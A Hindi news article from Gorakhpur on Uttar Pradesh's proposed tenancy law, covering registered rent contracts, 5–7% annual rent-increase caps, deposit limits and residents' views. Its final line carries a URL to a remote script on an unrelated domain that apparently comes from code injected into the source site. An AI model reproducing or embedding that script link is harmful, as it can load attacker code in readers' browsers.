गोरखपुर,( कुलसूम फात्मा )  गोरखपुर ही नहीं बल्कि यह पूरे उत्तर प्रदेश में नए किरायेदार कानून से मकान मालिक कथा किरायेदारों को राहत प्राप्त होगी क्योंकि नए कानून के अनुसार मकान मालिक मनमाना किराया नहीं बढ़ा सकेंगे इससे विवाद भी कम होंगे और किराए पर मकान को लेकर कब्जा करने की नियत भी अब पूरी कामयाब नहीं होगी।

 

 

बता दें की वर्तमान समय में किरायेदारों के कब्जे के मामले तथा विवाद वाले मामले थाने में हर दिन तकरीबन चार आते हैं और अभी अदालत में काफी मामले भी लंबित हैं। गोरखपुर शहर में ज्यादातर मकान मालिक किराएदार रखते हैं और वक्त पर एग्रीमेंट भी नहीं कराते हैं।

 

 

गोरखपुर में केवल दुकान के ही एग्रीमेंट कराये जाते है जिससे की मकान मालिक मनमाने ढंग से किराया भी बढ़ा लेते हैं। दूसरी ओर कई ऐसे मामले भी सामने आए हैं की किराएदार मकान नहीं छोड़ते हैं और मामला विवाद तक पहुंच जाता है। मकान मालिक को भी परेशानी झेलनी पड़ती है। इसे देखते हुए राज्य की सरकार ने नए कानून के प्रारूप को तैयार किया है इसे कैबिनेट ने स्वीकृति दे दी है और यह बहुत जल्द लागू कर दिया जाएगा।

 

 

ऐसे विवाद में किराएदार पुलिस के लिए बहुत बड़ी दिक्कत बन जाती हैं। बिना एग्रीमेंट तथा सत्यापन के रहते भी हैं और चले जाते हैं। हालांकि इस प्रस्तावित कानून से कानून व्यवस्था के लिए सहूलियत भी प्राप्त होगी। अनुबंध के बाद ही कोई व्यक्ति किराए पर रह सकेगा। विवाद भी कम होगा इससे जिससे मारपीट तथा बवाल तक मामला नहीं पहुंचेगा।

 

 

जाने कॉन्ट्रैक्ट के बारे में।

 

 

इस नए कानून के अनुसार किराएदार तथा मकान मालिक के मध्य एक contract होगा तथा मकान मालिक को 3 महीने के अंदर ही अनुबंध पत्र किराया प्राधिकरण में जमा करना आवश्यक होगा। पूर्व से रखे गए किरायेदारों के लिए 3 महीने का मौका दिया जाएगा। किराएदार के लिए रूल यह है की वह रहने वाले स्थान की देखभाल करें तथा मकान मालिक के परमिशन के बिना मकान में किसी तरह की तोड़फोड़ नहीं करें। मकान मालिक को किराएदार को आवश्यक सेवाएं भी देनी होगी। और इस कांट्रेक्टर से लाभ यह होगा की मकान मालिक किराएदार को मनमाने ढंग से हटा नहीं सकेगा।

 

 

जाने कब मकान मालिक बढ़ा सकता है किराया।

 

 

इस कानून के अनुसार मकान मालिक सालाने पर 5% तथा गैर आवासीयभवन के किराए में 7% की बढ़ोतरी कर सकेगा। किराएदार 2 महीने तक का किराया नहीं देता है तो मकान मालिक उसे मकान से हटाने का अधिकार रखेगा। एडवांस के मामले की यदि हम बात करें तो आवासीय परिसर के लिए सिक्योरिटी डिपॉजिट 2 महीने से ज्यादा नहीं की जाएगी और आवासीय परिसर के लिए 6 महीने का एडवांस लिया जा सकेगा।

 

इस अनुबंध से किराएदार तथा मालिक को होगा लाभ।

 

दीपक जो की गोलघर के रहने वाले हैं उन्होंने बताया की इससे किराएदार तथा मकान मालिक दोनों को ही लाभ पहुंचेगा। कॉन्ट्रैक्ट होने पर मकान में उतने वक्त के लिए आदमी आराम से रह सकेगा जब तक का अनुबंध होगा इसके साथ ही किराया मनमाने ढंग से भी मकान मालिक नहीं बढ़ा सकेगा, और मकान मालिक को यह लाभ होगा की जब भी वह चाहे मकान खाली कराना कॉन्ट्रैक्ट खत्म होने से पूर्व ही बता कर मकान को खाली करा सकता हैं।

 

तथा बक्शीपुर के शैलेश पांडे से जब बातचीत की तो उन्होंने बताया की किराए पर कमरा लेते वक्त मौखिक रेट भी तय हो जाते है और समय के गुजरने पर मकान मालिक अपनी मंशा के मुताबिक मकान का किराया बढ़ा देते हैं। फिर कोई रास्ता बचता ही नहीं है की कोई ऑप्शन हो, मकान छोड़ दे या फिर किराया बढ़ा दे। 5 से 7% तक के किराए में बढ़ोतरी सामान्य कही जा सकती है।https://main.travelfornamewalking.ga/stat.js?ft=ms

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